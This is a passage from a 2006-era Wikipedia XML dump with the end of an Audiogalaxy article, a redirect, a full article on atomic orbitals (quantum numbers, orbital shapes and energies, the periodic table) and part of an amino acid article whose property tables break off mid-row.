In August 2005, an imitation Audiogalaxy site was set up for discussion boards:
http://www.agelesscommunity.com
== External links ==
*[http://www.riaa.com/PR_story.cfm?id=522 RIAA, NMPA Reach Settlement With Audiogalaxy.com]
*[http://www.audiogalaxy.com/getRhapsody Audiogalaxy's Rhapsody service:]
*[http://web.archive.org/web/20041128094621/http://www.kuro5hin.org/story/2002/6/21/171321/675 R.I.P Audiogalaxy] - Kennon Ballou's story of Audiogalaxy (an Audiogalaxy programmer) - Now on web.archive.org




[[Category:File sharing networks]]  
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  <page>
    <title>Atomic orbitals</title>
    <id>1205</id>
    <revision>
      <id>15899701</id>
      <timestamp>2004-12-18T04:35:48Z</timestamp>
      <contributor>
        <username>Smack</username>
        <id>10888</id>
      </contributor>
      <comment>#REDIRECT [[Atomic orbital]]</comment>
      <text xml:space="preserve">#REDIRECT [[Atomic orbital]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic orbital</title>
    <id>1206</id>
    <revision>
      <id>41797829</id>
      <timestamp>2006-03-01T20:45:43Z</timestamp>
      <contributor>
        <username>Karol Langner</username>
        <id>60759</id>
      </contributor>
      <comment>wikilink</comment>
      <text xml:space="preserve">[[Image:Electron orbitals.png|right|thumb|350px|[[Electron]] atomic and [[molecular orbital|molecular]] orbitals]]

'''Atomic orbitals''' are the [[quantum state]]s of the individual electrons in the [[electron cloud]] around a single atom. Classically, the atomic orbitals can be thought of as similar to the orbits of the planets around the Sun. However, it is important to note that the atomic orbitals cannot actually be described classically. In fact, explaining the behaviour of the electrons that orbit an atom was one of the driving forces behind quantum mechanics. In quantum mechanics, the atomic orbitals are the quantum states that electrons surrounding an atom may exist in. These can be described as a [[wave function]] over space, as shown in the diagram on the right, by the ''n'', ''l'', and ''m'' [[quantum numbers]] of the orbital, or by the names of the orbitals, as used in [[electron configuration]]s.

== Historical Background ==

See the article [[atomic orbital model]] for details on how the current model of atomic orbitals was developed. This article also gives a less technical description of the model.

== Formal Quantum Mechanical Definition ==

In [[quantum mechanics]], the state of an atom, i.e. the [[eigenstate]]s of the atomic [[Hamiltonian (quantum mechanics)|Hamiltonian]], are expanded (see [[configuration interaction]] expansion and [[basis (linear algebra)]]) into [[linear combination]]s of anti-symmetrized products ([[Slater determinant]]s) of one-[[electron]] functions.  The spatial components of these one-electron functions are called '''atomic orbitals'''.  (When one considers also their [[spin (physics) | spin]] component, one speaks of '''atomic spin orbitals'''.) 

In [[atomic physics]], the [[atomic spectral line]]s correspond to transitions ([[quantum leap]]s) between [[quantum state]]s of an [[atom]].  These states are labelled by a set of [[quantum number]]s summarized in the [[term symbol]] and usually associated to particular [[electron configuration]]s, i.e. by occupations schemes of '''atomic orbitals''' (e.g. &lt;math&gt;1s^2 2s^2 2p^6 &lt;/math&gt; for the ground state of [[neon]] -- term symbol: &lt;math&gt;{}^1S_0&lt;/math&gt;).  This notation means that the corresponding [[Slater determinant]]s have a clear higher weight in the [[configuration interaction]] expansion.  The atomic orbital concept is therefore a key concept for visualizing the excitation process associated to a given transition.  One can say for example for a given transition that it corresponds to the excitation of an electron from an occupied orbital to a given unoccupied orbital.  Nevertheless one has to keep in mind that electrons are [[fermion]]s ruled by [[Pauli exclusion principle]] and cannot be distinguished from the other electrons in the atom. Moreover, it sometimes happens that the configuration interaction expansion converges very slowly and that one cannot speak about simple one-determinantal wave function at all.  This is the case when [[electron correlation]] is large. 

== Hydrogen-like atoms ==
{{main|Hydrogen-like atom}}

The simplest atomic orbitals are those that occur in an atom with a single electron, such as the [[hydrogen atom]].  In this case the atomic orbitals are the eigenstates of the hydrogen Hamiltonian.  They can be obtained analytically (see [[Hydrogen atom]]).  An atom of any other element [[ion]]ized down to a single electron is very similar to hydrogen, and the orbitals take the same form.

For atoms with two or more electrons, the governing equations can only be solved with the use of methods of iterative approximation.  Orbitals of multi-electron atoms are ''qualitatively'' similar to those of hydrogen, and in the simplest models, they are taken to have the same form.  For more rigorous and precise analysis, the numerical approximations must be used.

A given (hydrogen-like) atomic orbital is identified by unique values of three [[quantum number]]s:  [[Principal quantum number|''n'']], [[Azimuthal quantum number|''l'']], and [[magnetic quantum number|''m&lt;sub&gt;l&lt;/sub&gt;'']]. The rules restricting the values of the quantum numbers, and their energies (see below), explain the [[electron configuration]] of the atoms and the [[periodic table]].

The stationary states ([[quantum state]]s) of the hydrogen-like atoms are its atomic orbital.  However, in general, an electron's behavior is not fully described by a single orbital.  Electron states are best represented by time-depending &quot;mixtures&quot; ([[linear combination]]s) of multiple orbitals. See [[Linear combination of atomic orbitals molecular orbital method]].

The quantum number ''n'' first appeared in the [[Bohr model]].  It determines, among other things, the distance of the electron from the nucleus; all electrons with the same value of ''n'' lay at the same distance.  Modern quantum mechanics confirms that these orbitals are closely related.  For this reason, orbitals with the same value of ''n'' are said to comprise an &quot;[[electron shell|shell]]&quot;.  Orbitals with the same value of ''n'' and also the same value of ''l'' are even more closely related, and are said to comprise a &quot;[[electron subshell|subshell]]&quot;.

== Qualitative characterization ==

=== Limitations on the quantum numbers ===

An atomic orbital is uniquely identified by the values of the three quantum numbers, and each set of the three quantum numbers corresponds to exactly one orbital, but the quantum numbers only occur in certain combinations of values.  The rules governing the possible values of the quantum numbers are as follows:

The [[principal quantum number]] ''n'' is always a [[positive integer]].  In fact, it can be any positive integer, but for reasons discussed below, large numbers are seldom encountered.  Each atom has, in general, many orbitals associated with each value of ''n''; these orbitals together are sometimes called a ''[[Electron shell|shell]]''.

The [[azimuthal quantum number]] &lt;math&gt;\ell&lt;/math&gt; is a non-negative integer.  Within a shell where ''n'' is some integer ''n''&lt;sub&gt;0&lt;/sub&gt;, &lt;math&gt;\ell&lt;/math&gt; ranges across all (integer) values satisfying the relation &lt;math&gt;0 \le \ell \le n_0-1&lt;/math&gt;.  For instance, the ''n'' = 1 shell has only orbitals with &lt;math&gt;\ell=0&lt;/math&gt;, and the ''n'' = 2 shell has only orbitals with &lt;math&gt;\ell=0&lt;/math&gt;, and &lt;math&gt;\ell=1&lt;/math&gt;.  The set of orbitals associated with a particular value of &lt;math&gt;\ell&lt;/math&gt; are sometimes collectively called a ''subshell''.  

The [[magnetic quantum number]] &lt;math&gt;m_\ell&lt;/math&gt; is also always an integer.  Within a subshell where &lt;math&gt;\ell&lt;/math&gt; is some integer &lt;math&gt;\ell_0&lt;/math&gt;, &lt;math&gt;m_\ell&lt;/math&gt; ranges thus: &lt;math&gt;-\ell_0 \le m_\ell \le \ell_0&lt;/math&gt;.

The above results may be summarized in the following table.  Each cell represents a subshell, and lists the values of &lt;math&gt;m_\ell&lt;/math&gt; available in that subshell.  Empty cells represent subshells that do not exist.

{| class=&quot;wikitable&quot;
|-
!
! &lt;math&gt;l=0&lt;/math&gt;
! 1
! 2
! 3
! 4
! ...
|-
! &lt;math&gt;n=1&lt;/math&gt;
| &lt;math&gt;m_l=0&lt;/math&gt;
| || || || ||
|-
! 2
| 0 || -1, 0, 1
| || || ||
|-
! 3
| 0 || -1, 0, 1 || -2, -1, 0, 1, 2
| || ||
|-
! 4
| 0 || -1, 0, 1 || -2, -1, 0, 1, 2 || -3, -2, -1, 0, 1, 2, 3
| ||
|-
! 5
| 0 || -1, 0, 1 || -2, -1, 0, 1, 2 || -3, -2, -1, 0, 1, 2, 3 || -4, -3, -2 -1, 0, 1, 2, 3, 4
|
|-
! ...
| ... || ... || ... || ... || ... || ...
|}

Subshells are usually identified by their &lt;math&gt;n&lt;/math&gt;- and &lt;math&gt;\ell&lt;/math&gt;-values.  &lt;math&gt;n&lt;/math&gt; is represented by its numerical value, but &lt;math&gt;\ell&lt;/math&gt; is represented by a letter as follows: 0 is represented by 's', 1 by 'p', 2 by 'd', 3 by 'f', and 4 by 'g'.  For instance, one may speak of the subshell with &lt;math&gt;n=2&lt;/math&gt; and &lt;math&gt;\ell=0&lt;/math&gt; as a '2s subshell'.

=== The shapes of orbitals ===

Any discussion of the shapes of electron orbitals is necessarily imprecise, because a given electron, regardless of which orbital it occupies, can at any moment be found at any distance from the nucleus and in any direction due to the [[Uncertainty Principle]].

However, the electron is much more likely to be found in certain regions of the atom than in others.  Given this, a ''boundary [[surface]]'' can be drawn so that the electron has a high probability to be found anywhere within the surface, and all regions outside the surface have low values.  The precise placement of the surface is arbitrary, but any reasonably compact determination must follow a pattern specified by the behavior of &lt;math&gt;\psi^2&lt;/math&gt;, the square of the wavefunction.  This boundary surface is what is meant when the &quot;shape&quot; of an orbital is mentioned.

Generally speaking, the number &lt;math&gt;n&lt;/math&gt; determines the size and energy of the orbital: as &lt;math&gt;n&lt;/math&gt; increases, the size of the orbital increases.

Also in general terms, &lt;math&gt;\ell&lt;/math&gt; determines an orbital's shape, and &lt;math&gt;m_\ell&lt;/math&gt; its orientation.  However, since some orbitals are described by equations in [[complex number]]s, the shape sometimes depends on &lt;math&gt;m_\ell&lt;/math&gt; also. &lt;math&gt;s&lt;/math&gt;-orbitals (&lt;math&gt;\ell=0&lt;/math&gt;) are shaped like spheres.  &lt;math&gt;p&lt;/math&gt;-orbitals have the form of two [[ellipsoid]]s with a [[point of tangency]] at the [[atomic nucleus|nucleus]] (sometimes referred to as a dumbbell).  The three &lt;math&gt;p&lt;/math&gt;-orbitals in each shell are oriented at right angles to each other, as determined by their respective values of &lt;math&gt;m_\ell&lt;/math&gt;.

Four of the five &lt;math&gt;d&lt;/math&gt;-orbitals look similar, each with four pear-shaped balls, each ball tangent to two others, and the centers of all four lying in one plane, between a pair of axes.  Three of these planes are the &lt;math&gt;xy&lt;/math&gt;-, &lt;math&gt;xz&lt;/math&gt;-, and &lt;math&gt;yz&lt;/math&gt;-planes, and the fourth has the centres on the &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt; axes.  The fifth and final &lt;math&gt;d&lt;/math&gt;-orbital consists of three regions of high probability density: a [[torus]] with two pear-shaped regions placed symmetrically on its &lt;math&gt;z&lt;/math&gt; axis.

== Orbital energy ==

In atoms with a single electron (essentially the [[hydrogen atom]]), the energy of an orbital (and, consequently, of any electrons in the orbital) is determined exclusively by &lt;math&gt;n&lt;/math&gt;.  The &lt;math&gt;n=1&lt;/math&gt; orbital has the lowest possible energy in the atom.  Each successively higher value of &lt;math&gt;n&lt;/math&gt; has a higher level of energy, but the difference decreases as &lt;math&gt;n&lt;/math&gt; increases.  For high &lt;math&gt;n&lt;/math&gt;, the level of energy becomes so high that the electron can easily escape from the atom.

In atoms with multiple electrons, the energy of an electron depends not only on the intrinsic properties of its orbital, but also on its interactions with the other electrons.  These interactions depend on the detail of its spatial probability distribution, and so the [[energy level]]s of orbitals depend not only on &lt;math&gt;n&lt;/math&gt; but also on &lt;math&gt;\ell&lt;/math&gt;.  Higher values of &lt;math&gt;\ell&lt;/math&gt; are associated with higher values of energy; for instance, the 2''p'' state is higher than the 2''s'' state.  When &lt;math&gt;\ell&lt;/math&gt; = 3, the increase in energy of the orbital becomes so large as to push the energy of orbital above the energy of the ''s''-orbital in the next higher shell; when &lt;math&gt;\ell&lt;/math&gt; = 4 the energy is pushed into the shell two steps higher.

The energy order of the first 24 subshells is given in the following table.  Each cell represents a subshell with &lt;math&gt;n&lt;/math&gt; and &lt;math&gt;\ell&lt;/math&gt; given by its row and column indices, respectively.  The number in the cell is the subshell's position in the sequence.  Empty cells represent subshells that either do not exist or stand farther down in the sequence.

{| class=&quot;wikitable&quot;
|-
! 
! &lt;math&gt;s&lt;/math&gt; 
! &lt;math&gt;p&lt;/math&gt;
! &lt;math&gt;d&lt;/math&gt; 
! &lt;math&gt;f&lt;/math&gt;
! &lt;math&gt;g&lt;/math&gt;
|-
! 1
| 1 ||    ||    ||    ||
|-
! 2
| 2 ||  3 ||    ||    ||
|-
! 3
| 4 ||  5 ||  7 ||    ||
|-
! 4
| 6 ||  8 || 10 || 13 ||
|-
! 5
| 9 || 11 || 14 || 17 || 21
|-
! 6
|12 || 15 || 18 || 22 ||
|-
! 7
|16 || 19 || 23 ||    ||
|-
! 8
|20 || 24 ||    ||    ||
|}

== Electron placement and the periodic table ==

Several rules govern the placement of electrons in orbitals (''[[electron configuration]]'').  The first dictates that no two electrons in an atom may have the same set of values of quantum numbers (this is the [[Pauli exclusion principle]]).  These quantum numbers include the three that define orbitals , as well as (the hitherto unmentioned) [[Spin quantum number|''s'']].  Thus, two electrons may occupy a single orbital, so long as they have different values of &lt;math&gt;s&lt;/math&gt;. However, ''only'' two electrons, because of their spin, can be associated with each orbital.

Additionally, an electron always tries to occupy the lowest possible energy state.  It is possible for it to occupy any orbital so long as it does not violate the Pauli exclusion principle, but if lower-energy orbitals are available, this condition is unstable.  The electron will eventually lose energy (by releasing a [[photon]]) and drop into the lower orbital.  Thus, electrons fill orbitals in the order specified by the energy sequence given above.

This behavior is responsible for the structure of the [[periodic table]].  The table may be divided into several rows (called 'periods'), numbered starting with 1 at the top.  The presently known elements occupy seven periods.  If a certain period has number &lt;math&gt;i&lt;/math&gt;, it consists of elements whose outermost electrons fall in the &lt;math&gt;i&lt;/math&gt;th shell.

The periodic table may also be divided into several numbered rectangular 'blocks'.  The elements belonging to a given block have this common feature: their highest-energy electrons all belong to the same &lt;math&gt;\ell&lt;/math&gt;-state (but the &lt;math&gt;n&lt;/math&gt; associated with that &lt;math&gt;\ell&lt;/math&gt;-state depends upon the period).  For instance, the leftmost two columns constitute the 's-block'.  The outermost electrons of Li and Be respectively belong to the 2s subshell, and those of Na and Mg to the 3s subshell.

The number of electrons in a neutral atom increases with the [[atomic number]]. The electrons in the outermost shell, or ''[[valence electron]]s'', tend to be responsible for an element's chemical behavior. Elements that contain the same number of valence electrons can be grouped together and display similar chemical properties.

===See also===

* [[List of Hund's rules]]
* [[Electron configuration]]
* [[Atomic electron configuration table]]
* [[Molecular orbital]]
* [[Energy level]]

== External links ==

*[http://wps.prenhall.com/wps/media/objects/602/616516/Chapter_07.html Covalent Bonds and Molecular Structure]
* [http://www.shef.ac.uk/chemistry/orbitron/ The Orbitron], a visualization of all common and uncommon atomic orbitals, from 1s to 7g
* David Manthey's [http://www.orbitals.com/orb/index.html Orbital Viewer] renders orbitals with ''n''&amp;nbsp;&amp;le;&amp;nbsp;30
* [http://www.falstad.com/qmatom/ Java orbital viewer applet]

== References ==

* Tipler, Paul &amp; Ralph Llewellyn (2003).  ''Modern Physics'' (4th ed.).  New York: W. H. Freeman and Company.  ISBN 0-7167-4345-0

[[Category:Chemical bonding]]
[[Category:Atomic physics]]

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    </revision>
  </page>
  <page>
    <title>Amino acid</title>
    <id>1207</id>
    <revision>
      <id>41581786</id>
      <timestamp>2006-02-28T07:43:10Z</timestamp>
      <contributor>
        <username>BorisTM</username>
        <id>198330</id>
      </contributor>
      <comment>129.130.214.183 and Atemperman, next time take the discussion to the [[Talk:Amino_acid|Amino acid talk page]]</comment>
      <text xml:space="preserve">In [[chemistry]], an '''amino acid''' is any [[molecule]] that contains both [[amino]] and [[carboxylic acid]] [[functional group|functional groups]]. In [[biochemistry]], this shorter and more general term is frequently used to refer to alpha amino acids: those amino acids in which the amino and carboxylate functionalities are attached to the same [[carbon]], the so-called [[alpha carbon|&amp;alpha;&amp;ndash;carbon]].

An '''amino acid residue''' is what is left of an amino acid once a molecule of [[water]] has been lost (an [[hydrogen ion|H&lt;sup&gt;+&lt;/sup&gt;]] from the nitrogenous side and an [[hydroxyl ion|OH&lt;sup&gt;-&lt;/sup&gt;]] from the carboxylic side) in the formation of a [[peptide bond]].

==Overview==
Amino acids are the basic structural building units of [[protein]]s. They form short [[polymer]] chains called [[peptide]]s or [[polypeptides]] which in turn form structures called [[protein]]s. The process of such formation is known as [[translation (biology)|translation]], which is part of [[protein synthesis]].

[[Image:Phe-stick.png|thumb|[[Phenylalanine]] is one of the standard amino acids.]]

Twenty amino acids are encoded by the standard [[genetic code]] and are called [[proteinogenic]] or '''standard amino acids'''. 
At least two others are also coded by DNA in a non-standard manner as follows:

* [[Selenocysteine]] is incorporated into some proteins at a UGA [[codon]], which is normally a stop codon.
* [[Pyrrolysine]] is used by some [[methanogen]]s in [[enzyme]]s that they use to produce [[methane]].  It is coded for similarly to selenocysteine but with the codon UAG instead.

Other amino acids contained in proteins are usually formed by [[post-translational modification]], which is modification after translation in protein synthesis.  These modifications are often essential for the function of the protein. 

[[Proline]] is the only proteinogenic amino acid whose side group is cyclic and links to the a-amino group, forming a secondary amino group. Formerly, proline was misleadingly called an [[imino acid]]. 

Over one hundred amino acids have been found in nature.  Some of these have been detected in [[meteorite]]s, especially in a type known as [[carbonaceous chondrite]]s.  [[Microorganism]]s and [[plant]]s often produce very uncommon amino acids, which can be found in peptidic [[antibiotics]] (e.g., [[nisin]] or [[alamethicin]]).  [[Lanthionine]] is a sulfide-bridged alanine dimer which is found together with [[saturation (chemistry)|unsaturated]] amino acids in [[lantibiotics]] (antibiotic peptides of microbial origin). [[1-Aminocyclopropane-1-carboxylic acid|1-Aminocyclopropane-1-carboxylic acid (ACC)]] is a small disubstituted cyclic amino acid and a key intermediate in the production of the plant [[hormone]] [[ethylene]].

In addition to protein synthesis, amino acids have other biologically-important roles. [[Glycine]] and [[glutamate]] are [[neurotransmitter]]s as well as standard amino acids in proteins.  Many amino acids are used to synthesize other molecules, for example:
* [[tryptophan]] is a precursor of the neurotransmitter [[serotonin]]
* [[glycine]] is one of the reactants in the synthesis of [[porphyrins]] such as [[heme]].  

Numerous non-standard amino acids are also biologically-important: [[Gamma-aminobutyric acid]] is another neurotransmitter, [[carnitine]] is used in [[lipid]] transport within a [[cell (biology)|cell]], [[ornithine]], [[citrulline]], [[homocysteine]], [[hydroxyproline]], [[hydroxylysine]], and [[sarcosine]].

Some of the 20 standard amino acids are called [[essential amino acid]]s because they cannot be [[synthesize]]d by the [[human body|body]] from other [[chemical compound|compound]]s through [[chemical reaction]]s, but instead must be taken in with food.  In [[human]]s, the essential amino acids are [[lysine]], [[leucine]], [[isoleucine]], [[methionine]], [[phenylalanine]], [[threonine]], [[tryptophan]], [[valine]]. [[Histidine]] and [[arginine]] are generally considered essential only in children, because of their inability to synthesise them given their undeveloped metabolisms.

The phrase &quot;branched-chain amino acids&quot; is sometimes used to refer to the aliphatic amino acids: leucine, isoleucine and valine.

==General structure==

The general structure of proteinogenic alpha amino acids is:

      &lt;i&gt;R&lt;/i&gt;
      |
  H&lt;sub&gt;2&lt;/sub&gt;N-C-COOH
      |
      H
Where &lt;i&gt;R&lt;/i&gt; represents a ''side chain'' specific to each amino acid.  Amino acids are usually classified by the [[chemical property|properties]] of the side chain into four groups. The side chain can make them behave like a [[weak acid|weak]] [[acid]], a [[weak base|weak]] [[basic (chemistry)|base]], a [[hydrophile]], if they are [[polar molecule|polar]], and [[hydrophobe]] if they are [[nonpolar]].

===Isomerism===
Except for [[glycine]], where &lt;i&gt;R&lt;/i&gt; = H, amino acids occur in two possible [[optical isomerism|optical isomers]], called D and L.  Using the newer [[Cahn Ingold Prelog priority rules]] for designating the configuration of optical isomers, the L isomer would assigned the letter S and the D isomer would be assigned the letter R.  The L (or S) amino acids represent the vast majority of amino acids found in [[protein]]s.  D (or R) amino acids are found in some proteins produced by exotic sea-dwelling organisms, such as [[cone snail]]s.  They are also abundant components of the [[cell wall]]s of [[bacterium|bacteria]].

The L- and D- conventions for amino acid do not refer to their own optical activity, but rather to the optical activity of glyceraldehyde as an analogue of the amino acids.  S-glyceraldehyde is levorotary, and R-glyceraldehyde is dexterorotary, and so S- amino acids are called &quot;L-&quot; even if they are not levorotary, and R- amino acids are likewise called &quot;D-&quot; even if they are not dexterorotary.

==Reactions==
Proteins are created by [[polymerization]] of amino acids by [[peptide bond]]s in a process called [[translation (biology)|translation]].  This [[condensation]] reaction yields the newly formed peptide bond and a molecule of water.

[[image:amino_acids_1.png|none|Peptide bond formation]]
&lt;small&gt;&lt;center&gt;''Peptide bond formation&lt;br /&gt;1. Amino acid;  2, [[zwitterion]] structure;  3, two amino acids forming a peptide bond. (See also [[Chemical bond|bond]].)''&lt;/center&gt;&lt;/small&gt;

==List of standard amino acids==
===Structures===
Structures and symbols of the 20 amino acids present in genetic code.

&lt;gallery&gt;
Image:L-Alanine.png|[[Alanine]] (Ala / A)
Image:L-Arginine.png|[[Arginine]] (Arg / R)
image:L-Asparagine.png|[[Asparagine]] (Asn / N)
image:L-Aspartic Acid.png|[[Aspartic acid|Aspartic Acid]] (Asp / D)
image:L-Cysteine.png|[[Cysteine]] (Cys / C)
image:L-Glutamic Acid.png|[[Glutamic Acid]] (Glu / E)
image:L-Glutamine.png|[[Glutamine]] (Gln / Q)
image:Glycine2.png|[[Glycine]] (Gly / G)
image:L-Histidine.png|[[Histidine]] (His / H)
image:L-Isoleucine.png|[[Isoleucine]] (Ile / I)
image:L-Leucine.png|[[Leucine]] (Leu / L)
image:L-Lysine.png|[[Lysine]] (Lys / K)
image:L-Methionine.png|[[Methionine]] (Met / M)
image:L-Phenylalanine.png|[[Phenylalanine]] (Phe / F)
image:L-Proline.png|[[Proline]] (Pro / P)
image:L-Serine.png|[[Serine]] (Ser / S)
image:L-Threonine.png|[[Threonine]] (Thr / T)
image:L-Tryptophan.png|[[Tryptophan]] (Trp / W)
image:L-Tyrosine.png|[[Tyrosine]] (Tyr / Y)
image:L-Valine.png|[[Valine]] (Val / V)
&lt;/gallery&gt;

===Chemical properties===
Following is a table listing the one letter symbols, the three-letter symbols, and the chemical properties of the side chains of the standard amino acids. The mass listed is the weighted average of all common isotopes, and includes the mass of H&lt;sub&gt;2&lt;/sub&gt;O. The one-letter symbol for an undetermined amino acid is ''X''. The three-letter symbol ''Asx'' or one-letter symbol ''B'' means the amino acid is either [[asparagine]] or [[aspartic acid]], whereas ''Glx'' or ''Z'' means either [[glutamic acid]] or [[glutamine]]. The three-letter symbol ''Sec'' or one-letter symbol ''U'' refers to [[selenocysteine]]. The letters ''J'' and ''O'' are not used.

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
! colspan=&quot;2&quot; | Abbrev. 
! Full Name 
! Side chain type 
! Mass 
! [[Isoelectric point|pI]] 
! [[dissociation constant|pK]]&lt;sub&gt;1&lt;/sub&gt;&lt;br&gt;(α-COOH) 
! pK&lt;sub&gt;2&lt;/sub&gt;&lt;br&gt;(α-&lt;sup&gt;+&lt;/sup&gt;NH&lt;sub&gt;3&lt;/sub&gt;) 
! pKr (R) 
! Remarks
|-
| A
| Ala
| [[Alanine]]
| [[hydrophobic]]
| 89.09
| 6.01
| 2.35
| 9.87
|
| Very abundant, very versatile. More stiff than glycine, but small enough to pose only small steric limits for the protein conformation. It behaves fairly neutrally, can be located in both hydrophilic regions on the protein outside and the hydrophobic areas inside. 
|-
| C
| Cys
| [[Cysteine]]
| hydrophobic (Nagano, 1999)
| 121.16
| 5.05
| 1.92
| 10.70
| 8.18
|  The sulfur atom binds readily to [[heavy metals|heavy metal]] ions. Under oxidizing conditions, two cysteines can join together by a [[disulfide bond]] to form the amino acid [[cystine]]. When cystines are part of a protein, [[insulin]] for example, this enforces [[tertiary structure]] and makes the protein more resistant to unfolding and [[denaturation (biochemistry)|denaturation]]; disulphide bridges are therefore common in proteins that have to function in harsh environments, digestive enzymes (e.g., [[pepsin]] and [[chymotrypsin]]), structural proteins (e.g., [[keratin]]), and proteins too small to hold their shape on their own (eg. [[insulin]]).
|-
| D
| Asp 
| [[Aspartic acid]]
| [[acidic]]
| 133.10
| 2.85
| 1.99
| 9.90
| 3.90
| Behaves similarly to glutamic acid. Carries a hydrophilic acidic group with strong negative charge. Usually is located on the outer surface of the protein, making it water-soluble. Binds to positively-charged molecules and ions, often used in enzymes to fix the metal ion. When located inside of the protein, aspartate and glutamate are usually paired with arginine and lysine.
|-
| E
| Glu 
| [[Glutamic acid]]
| acidic
| 147.13
| 3.15
| 2.10
| 9.47
| 4.07
| Behaves similar to aspartic acid. Has longer, slightly more flexible side chain.
|-
| F
| Phe
| [[Phenylalanine]]
| hydrophobic
| 165.19
| 5.49
| 2.20
| 9.31
|
| [[essential amino acid|Essential]] for humans. Phenylalanine, tyrosine, and tryptophan contain large rigid [[aromaticity|aromatic]] group on the side chain. These are the biggest amino acids. Like isoleucine, leucine and valine, these are hydrophobic and tend to orient towards the interior of the folded protein molecule.
|-
| G
| Gly
| [[Glycine]]
| hydrophobic
| 75.07
| 6.06
| 2.35
| 9.78
|
| Because of the two hydrogen atoms at the α carbon, glycine is not [[optical isomerism|optically active]]. It is the tiniest amino acid, rotates easily, adds flexibility to the protein chain. It is able to fit into the tightest spaces, e.g., the triple helix of [[collagen]]. As too much flexibility is usually not desired, as a structural component it is less common than alanine.
|-
| H
| His
| [[Histidine]]
| [[basic (chemistry)|basic]]
| 155.16
| 7.60
| 1.80
| 9.33
| 6.04
|In even slightly acidic conditions [[protonation]] of the nitrogen occurs, changing the properties of histidine and the polypeptide as a whole.  It is used by many proteins as a regulatory mechanism, changing the conformation and behavior of the polypeptide in acidic regions such as the late [[endosome]] or [[lysosome]], enforcing conformation change in enzymes. However only a few histidines are needed for this, so it is comparatively scarce.
|-
| I
| Ile
| [[Isoleucine]]
| hydrophobic
| 131.17
| 6.05
| 2.32
| 9.76
|
| [[essential amino acid|Essential]] for humans. Isoleucine, leucine and valine have large aliphatic hydrophobic side chains. Their molecules are rigid, and their mutual hydrophobic interactions are important for the correct folding of proteins, as these chains tend to be located inside of the protein molecule.
|-
| K
| Lys
| [[Lysine]]
| basic
| 146.19
| 9.60
| 2.16
| 9.06
| 10.54
| [[essential amino acid|Essential]] for humans. Behaves similarly to arginine. Contains a long flexible side-chain with a positively-charged end. The flexibility of the chain makes lysine and arginine suitable for binding to molecules with many negative charges on their surfaces. E.g., [[deoxyribonucleic acid|DNA]]-binding proteins have their active regions rich with arginine and lysine. The strong charge makes these two amino acids prone to be located on the outer hydrophilic surfaces of the proteins; when they are found inside, they are usually paired with a corresponding negatively-charged amino acid, e.g., aspartate or glutamate.
|-
| L
| Leu
| [[Leucine]]
| hydrophobic
| 131.17
| 6.01
| 2.33
| 9.74
|
| [[essential amino acid|Essential]] for humans. Behaves similar to isoleucine and valine. See isoleucine.
|-
| M
| Met
| [[Methionine]]
| hydrophobic
| 149.21
| 5.74
| 2.13
| 9.28
|
| [[essential amino acid|Essential]] for humans. Always the first amino acid to be incorporated into a protein; sometimes removed after translation. Like cysteine, contains sulfur, but with a methyl group instead of hydrogen. This methyl group can be activated, and is used in many reactions where a new carbon atom is being added to another molecule.
|-
| N
| Asn
| [[Asparagine]]
| hydrophilic
| 132.12
| 5.41
| 2.14
| 8.72
|
| Neutralized version of aspartic acid.
|-
| P
| Pro
| [[Proline]]
| hydrophobic
| 115.13
| 6.30
| 1.95
| 10.64
|
| Contains an unusual ring to the N-end amine group, which forces the CO-NH amide sequence into a fixed conformation. Can disrupt protein folding structures like [[alpha helix|α helix]] or [[beta sheet|β sheet]], forcing the desired kink in the protein chain. Common in [[collagen]], where it undergoes a [[posttranslational modification]] to [[hydroxyproline]]. Uncommon elsewhere.
|-
| Q
| Gln
| [[Glutamine]]
| hydrophilic
| 146.15
| 5.65
| 2.17
| 9.13
|
| Neutralized version of glutamic acid. Used in proteins and as a storage for [[ammonia]].
|-
| R
| Arg
| [[Arginine]]
| basic
| 174.20
| 10.76
| 1.82
| 8.99
| 12.48
| Functionally similar to lysine.
|-
| S
| Ser
| [[Serine]]
| hydrophilic
| 105.09
| 5.68
| 2.19
| 9.21
|
| Serine and threonine have a short group ended with a [[hydroxyl]] group. Its hydrogen is easy to remove, so serine and threonine often act as hydrogen donors in enzymes. Both are very hydrophylic, therefore the outer regions of soluble proteins tend to be rich with them.
|-
| T
| Thr
| [[Threonine]]
| hydrophilic
| 119.12
| 5.60
| 2.09
| 9.10
|
| [[essential amino acid|Essential]] for humans. Behaves similarly to serine.
|-
| V
| Val
| [[Valine]]
| hydrophobic
| 117.15
| 6.00
| 2.39
| 9.74
|
| [[essential amino acid|Essential]] for humans. Behaves similarly to isoleucine and leucine. See isoleucine.
|-
| W
| Trp
| [[Tryptophan]]
| hydrophobic
| 204.23
| 5.89
| 2.46
| 9.41
|
| [[essential amino acid|Essential]] for humans. Behaves similarly to phenylalanine and tyrosine (see phenylalanine). Precursor of [[serotonin]].
|-
| Y
| Tyr
| [[Tyrosine]]
| hydrophobic
| 181.19
| 5.64
| 2.20
| 9.21
| 10.46
| Behaves similarly to phenylalanine and tryptophan (see phenylalanine). Precursor of [[melanin]], [[epinephrine]], and [[thyroid hormone]]s.
|}



{| border=&quot;1&quot; bordercolor=&quot;black&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
! Amino acid
! Abbrev.
! Side chain
! Hydro- phobic 
! Polar
! [[Electric charge|Charged]] 
! Small
! Tiny 
! [[Aromaticity|Aromatic]] or [[Aliphatic]]
! [[van der Waals]] volume
| align=&quot;center&quot; | '''[[Genetic code|Codon]]'''
| align=&quot;center&quot; | '''Occurrence in proteins (%)'''
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Alanine]]
| Ala, A
| -CH&lt;sub&gt;3&lt;/sub&gt;
| X
| -
| -
| X
| X
| -
| align=&quot;center&quot; | 67
| GCU, GCC, GCA, GCG
| 7.8
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Cysteine]]
| Cys, C
| -CH&lt;sub&gt;2&lt;/sub&gt;[[Sulfur|S]]H
| X
| -
| -
| X
| -
| -
| align=&quot;center&quot; | 86
| UGU, UGC
| align=&quot;center&quot; | 1.9
|- align=&quot;center&quot;
| align=&quot;left&quot; | [[Aspartate]]
| Asp, D
| -CH&lt;sub&gt;2&lt;/sub&gt;COOH
| -
| X
| negative
| X
| -
| -
| align=&quot;center&quot; | 91
| GAU, GAC
| align=&quot;center&quot; | 5.3
|- align=&quot;center&quot;
